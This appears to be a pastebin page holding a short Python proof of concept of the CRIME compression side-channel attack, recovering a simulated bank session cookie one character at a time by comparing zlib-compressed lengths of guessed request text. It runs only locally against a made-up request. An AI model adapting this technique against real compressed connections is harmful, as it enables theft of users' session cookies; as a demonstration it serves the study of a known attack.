Don't like ads? PRO users don't see any ads ;-)
Guest

crime

By: a guest on Sep 11th, 2012  |  syntax: Python  |  size: 1.07 KB  |  hits: 935  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. import string
  2. import zlib
  3.  
  4. HEADERS = ("POST / HTTP/1.1\r\n"
  5.            "Host: thebankserver.com\r\n"
  6.            "Connection: keep-alive\r\n"
  7.            "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
  8.            "Accept: */*\r\n"
  9.            "Referer: https://thebankserver.com/\r\n"
  10.            "Accept-Encoding: gzip,deflate,sdch\r\n"
  11.            "Accept-Language: en-US,en;q=0.8\r\n"
  12.            "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
  13.            "Cookie: secret=7xc89f+94/wa\r\n\r\n")
  14.  
  15. BODY = "Cookie: secret="
  16.  
  17. def compress(data):
  18.     c = zlib.compressobj()
  19.     return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)
  20.  
  21. cookie = ""
  22. while len(cookie) < 12:
  23.         smallest_char = ""
  24.         smallest_length = 0
  25.         for c in string.printable:
  26.                 length = len(compress(HEADERS +
  27.                                       BODY +
  28.                                       cookie +
  29.                                       c))
  30.                 print repr(c), length
  31.                 if not smallest_length or length < smallest_length:
  32.                         smallest_length = length
  33.                         smallest_char = c
  34.         cookie += smallest_char
  35.  
  36. print "final result: %s" % cookie